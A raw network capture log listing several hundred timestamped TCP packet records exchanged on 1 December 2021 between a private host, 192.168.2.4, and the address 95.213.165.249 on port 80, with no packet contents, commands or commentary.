Dec 1, 2021 09:14:28.513019085 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.513045073 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.513060093 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.513068914 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.513092995 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.513107061 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.513117075 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.513143063 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.513168097 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.513184071 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.513192892 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.513214111 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.513216019 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.513242006 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.513262033 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.513264894 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.513312101 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.571202993 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571242094 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571266890 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571293116 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571319103 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571346045 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.571346998 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571377039 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571393967 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.571403980 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.571403980 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571434021 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571460962 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571466923 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.571485996 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571511984 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571530104 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.571537971 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571564913 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571566105 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.571592093 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571615934 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571641922 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571655989 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.571664095 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.571671009 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571696043 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571708918 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.571722031 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571747065 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571772099 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.571773052 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571801901 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571824074 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571830034 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.571847916 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571873903 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571875095 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.571897030 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571921110 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571947098 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571971893 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.571978092 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.571996927 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.572002888 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.572010040 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.572022915 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.572048903 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.572072983 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.572073936 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.572101116 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.572124958 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.572146893 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.572148085 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.572170019 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.572180033 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.572192907 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.572215080 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.572215080 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.572242022 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.572267056 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.572272062 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.572292089 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.572309971 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.572318077 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.572343111 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.572367907 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.572367907 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.572391987 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.572416067 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.572422028 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.575277090 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.630705118 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.630748987 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.630772114 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.630789995 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.630806923 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.630822897 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.630839109 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.630856037 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.630862951 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.630878925 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.630899906 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.630904913 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.630922079 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.630928993 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.630951881 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.630954027 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.630978107 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631000042 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631000996 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.631022930 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631037951 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.631042957 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631067991 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631089926 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631107092 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.631110907 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631129026 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631145000 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.631148100 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631165981 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631167889 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.631186008 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631205082 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.631210089 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631233931 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631256104 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631264925 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.631279945 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631299019 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.631304026 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631328106 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631346941 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.631360054 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631383896 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631405115 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631423950 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.631436110 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631459951 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.631459951 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631481886 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631494045 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.631505013 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631529093 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631551027 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631551981 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.631575108 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631597042 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631613016 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.631623983 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631645918 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631649017 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.631666899 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631680012 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.631690979 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631712914 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631736040 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631738901 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.631761074 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631783009 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.631783009 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631809950 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631820917 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.631834030 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.631882906 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.633394003 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.633435965 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.633461952 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.633527994 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.690660000 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.690707922 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.690736055 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.690736055 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.690762043 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.690788984 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.690793037 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.690815926 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.690825939 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.690843105 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.690867901 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.690892935 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.690918922 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.690920115 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.690948009 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.690956116 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.690973997 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.690994024 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.690999031 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691025972 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691042900 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.691051960 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691076994 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691099882 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691116095 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.691123009 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691149950 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691150904 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.691174030 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691183090 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.691199064 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691224098 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691241980 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.691246986 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691271067 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691294909 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691309929 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.691320896 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691343069 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.691345930 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691368103 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691375971 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.691386938 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691410065 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691436052 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691438913 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.691459894 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691476107 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.691483974 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691509008 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691531897 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691549063 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.691555023 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691581011 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691582918 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.691605091 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691617966 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.691628933 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691653013 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691675901 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.691677094 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691703081 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691715956 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.691726923 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691752911 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691776037 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691791058 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.691798925 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691823959 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691827059 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.691848993 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691859961 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.691874027 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691899061 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691919088 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.691924095 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691948891 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.691967964 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.691973925 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.692001104 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.692012072 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.692027092 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.692236900 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750000954 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750032902 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750046015 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750061989 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750080109 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750097990 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750113964 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750132084 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750137091 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750152111 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750169992 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750186920 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750195980 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750204086 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750221968 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750228882 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750238895 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750252008 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750255108 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750273943 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750283003 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750291109 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750308037 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750324011 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750324965 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750341892 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750355959 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750360012 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750380039 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750382900 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750396967 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750416994 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750416994 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750433922 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750451088 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750458002 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750469923 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750484943 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750485897 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750503063 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750520945 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750534058 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750538111 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750556946 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750574112 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750576019 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750591040 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750597954 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750608921 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750624895 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750633001 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750642061 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750658989 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750665903 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750674963 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750693083 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750708103 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750715971 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750722885 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750740051 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750752926 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750755072 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750772953 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750778913 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750790119 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750802994 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750806093 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750823021 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750830889 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750839949 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750854969 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750868082 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750874043 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750890970 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750902891 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750906944 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750925064 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750929117 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750941038 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750957966 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750973940 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.750982046 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.750989914 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.751017094 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.751039028 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.789169073 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.808952093 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.808998108 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809024096 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809048891 CET	80	49805	95.213.165.249	192.168.2.4
